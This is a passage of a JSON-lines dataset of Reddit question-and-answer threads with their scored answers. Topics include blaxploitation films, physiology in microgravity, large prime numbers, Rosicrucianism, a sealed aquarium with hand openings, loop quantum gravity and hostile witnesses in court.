are very damaged, like for example, due to a plane crash or a bad fire.\n\nOf course there are many other ways to identify a person, however, because information on these particular statistics isn't collected as a matter of routine (unlike dental x-rays) you don't always have something to compare the statistics of the unidentified remains to. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "168ayo", "title": "\"blaxploitation\" in films.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/168ayo/eli5_blaxploitation_in_films/", "answers": {"a_id": ["c7tnymb", "c7tpdoe"], "score": [9, 2], "text": ["Exploitation films are a category of films with low budgets that were generally thought of as low quality because they were maid to \"exploit\" popular trends for easy money. Blaxploitation films are a subset of Exploitation films, specifically focussed on (stereotypical) Afro-American pop-culture of the mid-70's and 80's. Costuming would generally revolve around colorful suits, afros, and medalions. Themes would generally involve civil rights issues, counter-cultural movements, issues of poverty and crime in low-income neighborhoods and ghettos of Afro-American communities (particularly dealing with drugs). Suspicion of white establishment would be common, but sympathetic white characters may also often be present. Expect martial arts, to show up in some amount. Some of the better films were honest attempts to make some point or send a message about these conditions, some of the worse ones were just caricatures of it.\n\nCommon tropes include strong, masculine lead characters, generally in some branch of law enforcement (official, private, or vigilante), on a crusade to clean up their neighborhood of the crime that has infested it, generally due to some conspiracy.\n\nWhile Exploitation as a category of filmmaking often gets a reputation of fairly low quality, it's worth noting that it also contains some of the most beloved classic films of all time, and blaxploitation in particular was appealing to african american audiences who were not commonly catered to by mainstream filmmaking of the time. So relatively low budget or low quality films that catered to a niche audience tend to deliver something that most other film genres simply weren't, couldn't, or had no interest in doing. Some of the most renowned black characters in film came out of this genre for just such reasons (e.g. Shaft, Dolemite, Action Jackson, etc.), mainly because casting a black male lead in anything other than a blaxploitation film would have been relatively rare, even for many decades to follow.", "You should check out the movie Black Dynamite for a hilarious take on Blaxploitation films. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4udqhh", "title": "Questions regarding the Asian Theater during the later part of World War 2(1945).", "selftext": "1. Were there any plans regarding an invasion of Thailand? I know that with the Burma Campaign wrapping up, Operation Zipper/Mailfist/Tiderace were with regards to Southeast Asia, but what about Thailand?\n\n2. How good were the Chinese forces in 1945? They won some battles against the Japanese, such as West Hubei and 2nd Guangxi. Is this due to Allied help/training or the Japanese being exhausted due to the veteran units sent to the Pacific, as well as losses from Operation Ichi-Go a year earlier?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4udqhh/questions_regarding_the_asian_theater_during_the/", "answers": {"a_id": ["d5oucg3"], "score": [2], "text": ["Hi there! Unfortunately, alternative history and 'what if' questions are not allowed in this subreddit. We would recommend that you edit question 2 and question 4 out of your post, thank you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "altcgt", "title": "how does your blood flow/body function properly in space with low (zero?) gravity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/altcgt/eli5_how_does_your_blood_flowbody_function/", "answers": {"a_id": ["efgsh1e", "efgt8rr", "efgu3np", "efgv3ny", "efgv6cq", "efgvgco"], "score": [3, 2, 3, 3, 2, 2], "text": ["To clarify, there IS gravity in space. What is described as \"zero gravity\" when something is in orbit is actually a constant state of free fall. Everything in your body working doesn't really on a direction, your heart pumps blood through your body. Everything else works as normal. The only difference is maybe not feeling like they have to pee or something. \n\n*using this as a temporary placeholder until a better explanation comes across, lol. ", "In free fall (commonly referred to as \"zero gravity\"), your heart actually functions better than here on earth. It doesn't have to fight against the effects of gravity while pumping blood, so much so that your body loses as much as a fifth of your blood volume, since it isn't needed. Likewise, you lose muscle mass and bone density simply because you don't need or use it. Stopping these losses is one of the many research projects on the International Space Station. ", "People are mostly insensitive to their rotation.  Standing up and lying down are both viable orientations for most things.  In the early days, nobody knew if other things would not work, that's why the first living explorers were dogs and chimps.  It turns out that only some relatively obscure processes (like calcification of bones to keep them strong) don't work in free fall.  So, astronauts have to do things differently as work-arounds.", "The effect of microgravity on the human body is something that's being actively researched.\n\nBecause our bodies evolved with a relatively constant downward pressure, weightlessness messes with our sense of orientation (where your limbs are in relation to the rest of you), with our muscles and skeleton (making them weaker), with fluid retention and even with our brains.\n\nNASA has stated that a long term mission (like going to Mars) would make astronauts age faster and cause damage to their digestive system and brain.\n\nSo to **answer** your question, our bodies don't do so well in microgravity after all.\n\nAs total speculation on my part, I think our endocrine system (hormones) responds to the strange loss of resistance. Hormones affect **everything**.", "Your blood is in a pressurized system, your circulatory system. It flows because the heart pumps to push it along. Being in free fall means it doesn't have to work against the pressure to push blood up from your legs and up to your head, but doesn't otherwise prevent the heart from squirting it along through the tubes.\n\nHowever, since it is easier for fluid to get to the head (no gravity to fight against) many astronauts report feeling congested/uncomfortable, like having a cold.\n\nYour digestive tract, likewise, doesn't need gravity, it moves food along by muscular contractions. However, the absence of gravity may allow belches to be more problematic. Since gas can't separate as easily from the fluid involved, you could wind up getting stomach acid or other unpleasantness in your throat. You'd be able to swallow again, but anyone with reflux will tell you it isn't fun. \n\nNow, your body is designed to work against the effects of gravity, muscles and bones, and in space this doesn't work as well, and people tend to suffer significant and rapid declines in skeletal and muscular health until they are back on the ground.", "gravity actually makes it harder for your bodies to function.\n\nYour body wants blood to go to your feet and to your brain, but gravity pulls all the blood in your body down.  If you stand upside down on you head you'll realize this.  You'll feel quite a lot of pressure in your head and the blood from your feet and legs rushes down to your head.\n\nwithout gravity, its considerably easier for your body to distribute blood evenly through our body.\n\nThis is a real problem for astronauts, but its not a problem when they go up to space, its a problem when they come back.  If they spend a lot of time (months) in space, their body will get used to operating in easy mode.  Their blood volume will decrease because the body doesn't need as much blood.  When the come back they will get light headed easily and have difficulty standing.  It will take some time to adjust back to fighting the effects of gravity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "180s7c", "title": "how are we still \"discovering\" numbers?", "selftext": "[This is the story in question](_URL_0_)\n\nA mathematician discovered the largest known prime number.  I couldn't really grasp the logistics of this though within the article.  What does it mean to discover new prime numbers?  Isn't that infinite?  With a combination of the integers 0 - 9, you can make any number you want, right?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/180s7c/eli5_how_are_we_still_discovering_numbers/", "answers": {"a_id": ["c8ak5hi", "c8akamu", "c8akeur", "c8akn40", "c8anl0i", "c8apl0t", "c8b5n4d"], "score": [7, 71, 25, 9, 2, 4, 2], "text": ["Some numbers have interesting properties. Most don't. Whenever you hear about somebody \"discovering a number,\" translate that in your head into \"discovering a number has previously unknown interesting properties.\"", "A prime number is a number that is only divisible by itself and the number 1. Now since you're five, you don't know what division is. But let's assume that you understand division, and then I'll treat you like a five year old for the rest.\n\nHow do you know if a number is prime?\n\nWell, you have to divide the number by every other number that is less than it and see if it divides evenly or if there is a fraction as a result. If some number is found that divides your number evenly, it's not prime.\n\nTo answer this question for ridiculously large numbers requires an incredible amount of division. But still, if you give me a really really big number and a computer, I can eventually tell you whether it's prime.\n\nBut if, instead of asking \"is this ridiculously big number prime?\" you ask \"find me a ridiculously big prime number,\" that problem is infinitely more difficult because you have to solve the same problem over and over again for gazillions and gazillions of numbers, until you find one. It's so hard that it would take a computer longer than the entire lifetime of the known universe.\n\nSo we know that there are really Really REALLY big primes out there (in fact however big you find one, there is always a bigger one), but it's hard to find specific examples.", "It's not that they've discovered a number, it's that they've discovered something interesting *about* a number.  ", "It's easy to tell whether a small number is prime. You just divide it by every number less than itself starting with 2, and check if there is a remainder.\n\nIs 7 prime? Let's find out.\n\n    7/2 = 3 R 1\n    7/3 = 2 R 1\n    7/4 = 1 R 3\n    7/5 = 1 R 2\n    7/6 = 1 R 1\n\nSince every division has a remainder, that makes 7 prime.\n\nHow about 25. Is 25 prime?\n\n    25/2 = 12 R 1\n    25/3 = 8 R 1\n    25/4 = 6 R 1\n    25/5 = 5 R 0\n\nWe got a division with remainder 0, which means 25 is not prime.\n\nOkay, how about this number?\n\n    1028109186419815987608137459830687345713489730538471982473483\n\nIs that number prime? I don't know. I certainly don't want to compute it by hand. And, it's so large that it might even take a computer a long time to figure it out. That's why it's a big deal when someone discovers a new largest prime, because it's a really hard problem.", "It is really hard to find prime numbers if they're really really big.  You need really good computers and complicated math to do that.  You can't just create a really big prime number off the top of your head like you can with an even number.  That is, 4328950382483205534 is an even number, and it took me less than a second to type it.  You can't do that with a prime number.  You can't just construct one--you have to do a bunch of calculations that no normal person can do.\n\nHe found out that a really big number is prime, and it's the largest *known* prime number.", "I don't think we are discovering new numbers.  We discovering that a given number has a certain property, such as being a prime number.   It is like discovering that your Aunt Flibina used to sing opera.  That does not mean that you have discovered a new Aunt.", "For me to describe what this would mean would be to ask what is the largest number you can think of that is divisible by 3? If you just start writing down a very large number, then how do you know it's is indeed a factor of 3 or whatever number? You would have to check in some manner.\n\nPrimes are again numbers that have a very specific property. We could write down a very large number and would then have to check if that number is prime by the attributes that define a prime.(must only be divisible by itself and 1).\n\nTrue, numbers are infinite, but the proof of their properties are continuously being expanded to greater values. The effort required for the proof of each significantly larger number is truly great especially for the enormity of the numbers being tested."]}, "title_urls": [], "selftext_urls": ["http://www.cbsnews.com/8301-205_162-57567994/largest-known-prime-number-is-17-million-digits-long/"], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "991o7d", "title": "youtube's \"pay per view\" system.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/991o7d/eli5_youtubes_pay_per_view_system/", "answers": {"a_id": ["e4k91fy"], "score": [3], "text": ["If you're talking about those movie rentals you see on YouTube, they're more like a Video-on-Demand (VOD) service, which I think is a more suitable name.\n\nIt's like going to the movies without actually going to the movies. You pay a small price for the movie ticket, but you get to watch and pause it like Netflix."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ah3sal", "title": "When and where did the use of magic wands and magic gestures originate?", "selftext": "I hope this is the right sub for this question. \n\nI thought Googling the origin of magic wands would be pretty straightforward, but instead I got this:\n\n_URL_0_\n\nCan anyone here shed some light on how the tradition of magical wands and hand gestures began? I'd like to learn how little tiny sticks came to be inseparable from the concept of powerful magical abilities.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ah3sal/when_and_where_did_the_use_of_magic_wands_and/", "answers": {"a_id": ["eeb7ly4"], "score": [4], "text": ["I provided the following to a similar question about a week ago. Unfortunately, no one added anything that fills the gaps I left behind:\n\n > I can't address the history of these [types of] objects in art and literature, but it is possible to see clear examples in ethnography. Louise B\u00e4chman and \u00c5ke Hultzkrantz, Studies in Lapp Shamanism (1978) and many of the articles in Studies in Shamanism: Based on Papers read at the Symposium on Shamanism held at \u00c5bo on the 6th-8th of September, 1962, edited by Carl-Martin Edsman (1967) describe shamans and other practitioners of magic/spiritualism using pointed objects - bones/sticks/wands/staffs - to focus their efforts. This lends us insight into broad ethnographic information that may have influenced the popularized image of wizards, etc. who use wands and staffs in art and literature.\n\nIn that previous question, there was also a suggestion that the staff of Moses may have played an influential role. That idea is intriguing, but it was offered without elaboration or sources, so it was deleted.\n\nWe probably need to think about the topic you are raising as needing to be addressed in two halves: were wands and hand gestures used by people who were attempting to practice magic; and secondly, how did these motifs become fixtures of art and literature - regardless of what was actually practiced?\n\nIn the first question - what was actual practice - there is evidence in ethnographic work of shamans in various cultures attempting to focus spiritual forces with wands including various pointed objects and hand gestures ( see the sources I cite).\n\nTo the second question - how did this come to manifest in popular literature and art - I leave it to someone else to help out, although the fact that these types of practices were part of the real world was no doubt influential.\n"]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/Magic_Wands"], "answers_urls": [[]]}
{"q_id": "6rk6m4", "title": "What the heck was Rosicrucianism?", "selftext": "What was the big obsession with esoteric knowledge in this period? Were the Rosicrucians real? Where did they come from?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6rk6m4/what_the_heck_was_rosicrucianism/", "answers": {"a_id": ["dl5pbkq"], "score": [32], "text": [" >  **What the heck was Rosicrucianism?**\n\nIn the early 17th century, the line between \"natural philosophy\" and \"esoteric philosophy\" was fairly thin; individuals like Isaac Newton pursued dual interests in subjects we today would consider scientific (mathematics, physics, astronomy, etc.) and unscientific or mystical (numerology, metaphysics, alchemy, etc.) The Reformation and the printing press had lead to a greater spirit of inquiry and was slowly making \"mystical\" material more available to the literate public, and the printing press meant that the public could in turn begin to contribute much more widely to the ongoing discussion. To quote from Owen Davies' [Grimoires: A History of Magic Books](_URL_4_): \n\n >  During the early seventeenth century several curious German publications appeared claiming the existence of an occult fraternity founded by a fifteenth-century German knight named Christian Rosenkreutz who was an adept in Hermetic and Kabbalistic magic. His followers, the Brotherhood of the Rosy Cross, were dedicated to a spiritual reformation of society through magical principles. There is no evidence that the Brotherhood existed, but the pamphlets generated considerable interest and were quickly translated into other languages.\n\nThe principal works in question are the [Fama Fraternitatis RC](_URL_3_) (1614) and [Confessio Fraternitatis](_URL_0_) (1615), as well as many, many others, notably [The Chymical Wedding of Christian Rosenkreutz](_URL_2_) (1616) - all of the dates on these are a bit confusing, because they typically were advertised as being published earlier than their first known publication. For publication details, I recommend occult scholar Arthur Edward Waite's [The Real History of the Rosicrucians](_URL_1_).\n\nWho published these initial documents and why are still questions unanswered; they were published anonymously, first in Germany, and were quickly translated and spread out from there. The works drew strongly from already-existing occult texts, including Heinrich Khunrath *Amphitheatrum Sapientiae Aeternae* (1609) and John Dee's *Monas Hieroglyphica* (1564). Fraternal organizations also flourished, and not just the Freemasons, but a number of other societies both secret and not-so-secret. The reception of these documents was mixed, but the subsequent publication of many \"Rosicrucian\" documents over the next several centuries showed that the idea had caught the imagination of at least a few.\n\nIn particular, the idea of a fraternal brotherhood dedicated to the study of the occult caught on in the 19th century among the practitioners of \"esoteric Freemasonry\" - these were individuals that used the forms of Masonic initiation, organization, degrees, rituals, etc. but varied from the specifics in many ways - often founding their own variant lodges, introducing new degrees, etc. Eventually, they formed their own Rosicrucian societies, such as the Societas Rosicruciana in Anglia (founded 1865); members of this group would later go on to found the Hermetic Order of the Golden Dawn (founded in 1887). The Golden Dawn deliberately drew on the tradition and reputation of Rosicrucianism; the foundation legend was that the Golden Dawn received a charter from a German Rosicrucian organization, and its \"inner order\" was named Rosae Rubeae et Aureae Crucis (the Ruby Rose and Cross of Gold). From there, Rosicrucianism became common occult currency; in the 1930s many pulp magazines had advertisements to sell you the secrets of the Rosicrucians.\n\nSo to answer your question: Rosicrucianism was (and, technically, still is) any system of beliefs which attached itself to the \"Rosicrucian tradition.\" In that sense, it's a bit like Freemasonry where the ultimate defining characteristic is calling yourself a Mason in the \"member of a fraternal organization\" sense. Individual Rosicrucians and Rosicrucian organizations tend to hold a combination of occult and esoteric beliefs, of which spiritual alchemy (i.e. the pursuit of the purification of the spirit) is most common and paramount. You do have contemporary \"Rosicrucians\" who are part of individual spiritual or occult or fraternal traditions, but those traditions tends to date back no earlier than the 19th century, at best."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.levity.com/alchemy/confessi.html", "https://books.google.com/books?id=dSKeR0Az0ZgC", "http://www.levity.com/alchemy/chymwed1.html", "http://www.levity.com/alchemy/fama.html", "http://www.worldcat.org/title/grimoires-a-history-of-magic-books/oclc/615830936"]]}
{"q_id": "50hyqp", "title": "how does this aquarium tank, which has openings in the tank window, not spill?", "selftext": "I was in an aquarium in northern China recently and saw something that I couldn't explain. Below are pictures of a large tank with goldfish in, the tank had openings in the side where people could put their hands into the tank and touch the fish. \n\n\n[Picture 1](_URL_2_)\n\n[Picture 2](_URL_1_)\n\n[Picture 3](_URL_0_)\n\nWhat stopped the water from spilling out of the openings? Surely the gravity and weight of the water should push it out and all over the aquarium floor?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/50hyqp/eli5_how_does_this_aquarium_tank_which_has/", "answers": {"a_id": ["d746bp8", "d7482wh", "d74egm6", "d74kwbf", "d74mmk7", "d74msca", "d74mz67", "d74o917", "d74otzs", "d74q6mb", "d74q8fn", "d74q9v8", "d74qn2s", "d74rpf7", "d74s1mp", "d74svle", "d74t7l4", "d74t7tn", "d74tbf0", "d74uxpv", "d74vfpt", "d74vnle", "d74zq4n", "d750wix"], "score": [1589, 106, 36, 1321, 2, 48, 2, 25, 11, 12, 334, 17, 33, 2, 4, 7, 26, 11, 2, 4, 5, 22, 2, 17], "text": ["As stated above, it's most likely sealed at the top. In simpler terms think of it like putting your finger on top of a straw. The water should flow out, but stays in the stray because it is sealed at the top\n", "So if it's sealed at the top, where does air exchange happen? From my experience with aquariums, which is, admittedly, limited, you need a certain degree of water movement and exposure to air at the surface to release carbon dioxide and oxygenate the water. \n\nIs this part of a larger system with water flowing in and out from a connected reserve behind the scenes  where oxygenation is occurring? ", "To me, it looks more like they glued tiny clear curved tanks on the glass of the main tank, and they refill it with tiny cheap fish whenever a kid kills or captures one.\n\nEDIT: I misread OP; since you were actually *at* the aquarium, not just seeing it on the Internet, and actually saw kids' hands go inside the tank proper, listen to the other top-level comments. (Not deleting, in case someone else makes that mistake.)", "When looking at the problem, you have to think about why you think it will spill out. Intuitively, you think the water is PUSHING due to gravity. It's pushing downwards, therefore it should push outwards, right? Partially correct!\n\nNormally in an open system, that is right. If you have a bowl of water above another bowl of water, and connect both with a tube filled with water, sure enough a siphon is formed and water flows from the top to the bottom. This is because the force on the top of the tube is greater than the force at the bottom. To collect the forces, we have on the top the weight of the water, and we also have the kilometre of atmospheric air above it! Then again, at the bottom of the bowl, we also have the atmosphere of air above it, so they cancel out. What you're left with is the weight of the water which means a net force pushing water down. \n\nIn the tank example, the tank is likely sealed at the top. Therefore the is NO atmosphere pushing down on the 'top'. The bottom still has a kilometre of air above it, which creates a force bigger than the 2m or so of water. In fact, you can directly convert it, and you find that 1 atmosphere of pressure (that kilometre of air), is roughly equal to 10.3 metres of water. So if you have a tank 10.3 metres high, it'll just about hold the water in.\n\nAny higher, and there will be zero pressure at the top of the tank, which will break your tank. If your tank can hold a vacuum at the top, then the water will start to vaporise and you'll get some funky stuff happening (that's after all the soluble gases bubble out of your water, so no oxygen for the fishes!).\n\nThere's another interesting example of our intuition gone wrong. If you ask most people how high they think they could suck some water up a straw (assuming the straw doesn't break), what's the highest it'll go? Most people would not imagine there is a limit. The answer is again 10.3 metres, and that would be if your lungs could produce a vacuum! \n\nIf you're keen to go past ELI5, read up on hydrostatics, with the basic governing equation being P= rho.g.h\n\nEdit 1 courtesy of u/accrdt\n\nEdit 2: I don't know where I got 1 km of air from either (it's more like 100km+ as others have pointed out), but it gets the point across. As for those saying it's not ELI5...I struggle to find a better analogy - the straw example is not quite right as it involves capillary forces. Imagine the tank had no floor and was still sealed at the top. The air would still displace the water in the tank. Hopefully people can piece together all the responses to get the right understanding!", "On picture three you can clearly see that air is pumped in to the tank...? Wouldn't that make the closed top theory extremely hard as you would somehow recapture that air and somehow get it out of the tank without disturbing the pressure balance that prevents water from flowing out of the pockets?", "They basically work just like an automatic pet waterer\n\n_URL_0_\n\nThe same physics that make the water not spill all over the floor out of the jug on top ", "Yes, the top is sealed and they created a vacuum by removing the air above the water level.\n\nIf you put a hose in or blew some bubbles through a straw, it would all go bad.\n\nLook up 'fish pond highrise' on you tube for some smaller-scale demos.", "1. Take a glass.\n\n2. Fill it up with water.\n\n3. Turn it upside down so the edge of the glass is below water level, e.G. in a bowl.\n\nI used to have fun with this doing the dishes when I was 8. :) Basically vacuum above the water in the glass wants to suck in the air, but the only way is through the water (unless you have a hole in your glass). So, it's actually the air all around you pushing at the water in the bowl and keeping the water in the glass.", "Pretty much like this: \n\n_URL_0_\n\nBut the bubbles in the third pic are weird. They'd have to get the air from the top of the tank instead from outside.", "I agree with the answers I've read, with one exception.  The tank isn't \"likely\" airtight or sealed at the top.  For it to work, the tank *must be* sealed at the top and all the way around.  If it weren't, this would not work (unless someone has come up with a way to defy at least one or two of the laws of physics).", "Why the hell do fish need to be touched??", "It's because it's sealed, creating a vacuum. If there was a whole in top it would all come out. On a related note.....DO NOT touch fish, it's extremely unhealthy for them", "Same principle as the fish tank bridge, just in a larger scale: _URL_0_", "So I presume the is a bigger access point somewhere for a human to enter the tank? Presumably exploiting the same technique? Because if you can't access it from the top....  Also you would also need to be very careful about oxygenation, add too much air into the tank and the water will flow out.... Id love to see the specs. ", "I have a question, if its a sealed tank like most are saying then where does the air from the air stone go? I know some will go into the water but most of it will rise to the surface. would this not build up after a while and either start pushing the water through those openings or eventually cause the tank to fail or pop the lid? ", "It's the exact same phenomenon as where you can fill a glass with water, stick a piece of paper on top of it, flip it over, and the paper will stay up without the water falling out.\n\nBasically, the atmosphere is highly pressurized.  Even though you don't feel it, the air is pushing down on every square inch of your skin with about 15lbs of pressure.  It's pushing down in every direction at all times.\n\nIn the aquarium, the water is trying to flow out the hole and up out the top of the little divot.  But the air is pushing back.  As long as the pressure of the water trying to come out is less than the pressure of the air pushing back, it will remain \"stuck\" in place.  (The top of the tank is likely sealed on top to prevent the air from pushing down equally on that water surface and canceling the effect.)\n\nIf the hole was vertical, it likely wouldn't work, though.  If you just drilled a hole in the side of the tank, it would leak out.  The air would rush into the top of the hole as the water squirts out the bottom, basically \"trading places.\"\n\nThis effect only works because the water surface is horizontal (like the trick with the paper and the water cup) and so the forces acting across the surface (pressure, gravity, etc.) are constant.", "The top is sealed, AND a vacuum pump is used in that headroom to reduce the pressure.  If it created even slightly greater vacuum, air would start bubbling IN through the ports.\n\nThe vacuum pump must be run regularly.  You need to bubble fresh air through somewhere to oxygenate the water, and the CO2 and escaping air must be extracted.  In fact the water will degas more rapidly under the partial vacuum.  \n\nAlso, water evaporation up top- again, accelerated by the partial vacuum- will add water vapor which increases the pressure.  It has to be pumped out in an ongoing process.  If the pump stopped- even if there was no backflow of air- the ports will begin to leak water.", "Same reason you can pick up soda by putting your thumb over the end of the straw. The tank is sealed at the top and the air can't \"push down\" on the water.", "That seems settled. Now can we get an answer as to why the fish don't hop out? ", "That's a pretty cool design. The lid on the tank is keeping the 100+ km of air above the tank from pushing on the water and forcing it out the holes in the side!", "I feel very uncomfortable now that I haven't seen a picture of a finger sticking into the water. \n\nLike a held in a sneeze", "Note that the water level for all those holes is the same! If they put a lower hole in for short people, air would come in the higher holes and water would pour out the lower hole!\n\nA really nasty trick would be to bring in a U shaped bit of pipe and put in through the hole in the tank so the top of the U goes higher than the hole in the tank. At first water would fill the bottom of the U just to the same level as what's in the holes. But if you were then to blow into the pipe to push air around the bottom of the U, you would make an air siphon so air could rush into the pipe and water come pouring out the holes in the tank. You'd want to get your mouth away from that pipe pretty quick because it will be pulling air in pretty vigorously!", "Works exactly like the things that you fill with water for birds, not letting air inside keep the water sucked up.", "Does anyone have a link? ( it got removed) I have 4 aquariums and really  dying to see this! "]}, "title_urls": [], "selftext_urls": ["https://i.imgur.com/3Mx8eRh.jpg", "https://i.imgur.com/SUviJPL.jpg", "https://i.imgur.com/SNpSa4a.jpg"], "answers_urls": [[], [], [], [], [], ["https://www.google.com/shopping/product/1970938903811139449?lsf=seller:8064,store:13547130356591099259,lsfqd:0&amp;prds=oid:876349724810484440&amp;q=pet+bowls+feeders+and+waterers&amp;hl=en&amp;ei=tljHV_StGcO9edCzr8gG&amp;lsft=utm_source:GOOGLE,utm_term:,utm_medium:cpc,utm_content:GSC+-+NonBrand+-+Hard+Goods+-+Cat+%7C+Supplies+&amp;lsft=gclid:CIisps3Y7M4CFRFahgod-9IP7A"], [], [], ["http://imgur.com/a/0WvDc"], [], [], [], ["https://youtu.be/6RnorkCkEqI"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "53ga4v", "title": "What is loop quantum gravity and how does it differ from String Theory?", "selftext": "I'm only in my sophomore year in high school, and they don't teach particle physics here at my school. I've read some books on String Theory, but recently I came across \"loop quantum gravity\" and I don't really understand what it is.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/53ga4v/what_is_loop_quantum_gravity_and_how_does_it/", "answers": {"a_id": ["d7tc3a4"], "score": [25], "text": ["A couple articles might be helpful.\n\n(1) First, about Loop Quantum Gravity (LQG), here is an excerpt from [this article](_URL_0_): \"LQG has as one of its central features that space itself is discrete. Imagine a common analogy for gravity: a bedsheet pulled taut, with a bowling ball in the center. Rather than a continuous fabric, though, we know that the bedsheet itself is really quantized, in that it\u2019s made up of molecules, which in turn are made of atoms, which in turn are made of nuclei (quarks and gluons) and electrons. Space might be the same way! Perhaps it acts like a fabric, but perhaps it\u2019s made up of finite, quantized entities. And perhaps it\u2019s woven out of \u201cloops,\u201d which is where the theory gets it name from. Weave these loops together and you get a [spin network](_URL_1_), which represents a quantum state of the gravitational field. In this picture, not just the matter itself but space itself is quantized.\"\n\n(2) This [Quanta magazine article by physicist Sabine Hossenfelder](_URL_2_) not only contrasts string theory with loop quantum gravity but also considers ways in which the proponents of the two theories might have some common ground to work together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://medium.com/starts-with-a-bang/ask-ethan-91-does-quantum-gravity-need-string-theory-f1d424137b03", "https://en.wikipedia.org/wiki/Spin_network", "https://www.quantamagazine.org/20160112-string-theory-meets-loop-quantum-gravity/"]]}
{"q_id": "3ttwde", "title": "why would a lawyer ask a judge for permission to \"treat the witness as hostile\", and what are the benefits for being able to do so?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ttwde/eli5_why_would_a_lawyer_ask_a_judge_for/", "answers": {"a_id": ["cx94k40", "cx95v8k", "cx9e7dj", "cx9eb36", "cx9ekvt", "cx9eo6b", "cx9evnb", "cx9gnao", "cx9hf55", "cx9hj0z", "cx9hy83", "cx9k277", "cx9oqk0", "cx9p60l", "cx9qmob", "cx9r20y", "cx9rgsj", "cx9tqnz", "cx9uhx3", "cx9w8fc", "cxa5kyq"], "score": [317, 5700, 154, 2, 18, 87, 10, 15, 2, 3, 16, 12, 9, 8, 2, 4, 2, 2, 4, 21, 2], "text": ["Law student here:\n\nYou not not allowed to ask non-hostile witnesses leading questions (e.g \"You did it, didn't you, YOU KILLED HIM!\")\n\nSo if you call a witness (a witness you call urself usually isn't \"hostile\"), but he answers questions in a way which you weren't expecting, then you ask the judge if you can treat him as a hostile witness so you can go full lawyer on him", "At trial, there are two types of examinations: the direct examination (i.e. your opportunity to question the witness *you* call to the stand) and the cross examination (i.e. your opportunity to question to witness the other side calls). \n\nWhen examining your own witnesses, you are not allowed to ask what are called \"leading questions.\" Leading questions are questions where the answer is implied in the question (\"you're a redditor, correct?\"). Some judges will even consider any yes/no questions to be leading (\"were you on reddit last night?\") \n\nYou *are* allowed to ask leading questions to 1) witnesses you are cross-examining; or 2) witnesses you are direct examining, but who the judge has declared hostile for some reason (e.g. you ask them their named and they say, \"f*ck off\" and everyone can tell it's going to be a struggle for you to ask them open questions) EDIT: or (in federal court and some state courts) 3) witnesses you are direct examining but who are either adverse parties or witnesses for the adverse party. \n\nEDIT: Wow, thank you guys so much for all the upvotes and for the gold! I'm glad I could be of help, and it's awesome to see so many people interested in the legal system. \n\nOne more EDIT: As others have so nicely pointed out, I never really answered the initial question! Why would a lawyer want to declare the witness hostile? \n\nLet's start with why leading questions are typically not allowed on direct examination. \nIn the american legal system, the goal of a trial is for the fact-finder (whether it be a jury or a judge in the case of a bench-trial) to determine the truth about what happened. The witnesses are called for their benefit. \n\nThe goal of direct is for the witness to tell their side of the story (I'm using \"story\" loosely here, as it could also be an expert witness, etc.). The fact-finder will listen to determine 1) whether the content of the story is believable 2) whether the witness him/herself seems credible. Now consider, how can a fact-finder determine these two things when some slick lawyer is leading the witness into yes/no questions? At that point, it basically becomes the lawyer testifying, not the witness. \n\nHowever, when a witness has proven unable to tell their story, whether it be because communication is difficult for them (eg. they are a very young child, they have some sort of disability, etc.) or because they are simply acting hostile, the court will allow them to be questioned in the next best way which will still result in information being dispensed to the fact-finder so that they can do their job. This next best way would be through leading questions. \n\nSo why would a lawyer want a witness to be declared hostile? The answer is so that they can ask them leading questions. The advantage of being able to ask leading questions, besides being able to move the trial along quickly (it might take hours for a young child to answer very basic non-leading questions) is that you can formulate the questions in a way such that you pretty much always get the answer you want and that you expect. Thus, the lawyer will be able to basically use the witness as a mouth-piece through which they can tell their clients' story exactly as they see fit. ", "Just for completeness' sake, you are also allowed to ask leading questions if they're basic/introductory or otherwise uncontrovertial (\"your name is Jane Doe and you are 12 years old, correct?\"; \"you're the night watchman who was on duty last night, correct?\"), as a time-saving technique.  (Though this may be a de facto rule, simply because the opposition isn't likely to raise an objection when introducing basic facts... I'm not sure.)", "If you're under oath and may be overly persuasive to a jury if allowed to cross examine him and leading questions Why?", "Law student here: you can ask them leading questions. \n\nExample: \"You saw my client do X, didn't you?\"\n\nIf a witness is not hostile, you cannot generally ask leading questions.", "Australian lawyer here.  Another situation a lawyer might seek leave (ie. ask the judge) to treat a witness you have called as hostile is when they give inconsistent evidence.  For example, if they said one thing in a police interview and then 3 months later at the hearing they say something inconsistent with that evidence you can then ask them leading questions.  \n\nFor example, you might say \"you've been intimidated into giving this different evidence today, haven't you?\" which is a leading question.  If you didn't seek leave to treat the witness as hostile you would be stuck asking open questions like \"why is your evidence different now?\".  That question is not as powerful and may not lead to the answer you want.  ", "I always wondered this:\n\nSay as a witness you felt you were being led into an answer (e.g. a yes/no question) and therefore felt uncomfortable not being able to explain yourself more clearly/verbosely, how can you express that discomfort or even refuse the question without it looking iffy?", "This has probably been answered below , but:\n\nThere are limits on the way you can ask questions on direct examination. You are not allowed to lead the witness which is essentially ask them a yes or no question. You are also not allowed to impeach 